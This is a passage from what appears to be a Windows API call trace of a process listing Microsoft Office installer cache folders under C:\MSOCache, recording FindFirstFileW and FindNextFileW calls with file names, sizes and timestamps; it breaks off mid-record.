ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.297] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.297] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.297] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.297] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0047.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.297] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.297] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.297] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.297] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.297] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0047.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.298] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.298] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.298] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.298] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.298] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0047.298] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.298] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.298] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0047.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.299] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.299] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.299] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.300] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.300] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0047.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.301] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.301] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0047.301] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.302] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.302] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0047.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.302] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.302] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.302] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.302] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.302] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0047.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.303] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.303] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0047.303] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.304] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.304] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0047.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.305] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.305] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0047.305] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.305] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.305] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0047.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.306] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.306] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0047.306] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.307] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.307] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0047.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.307] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.307] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.308] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.308] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0047.308] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.308] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, 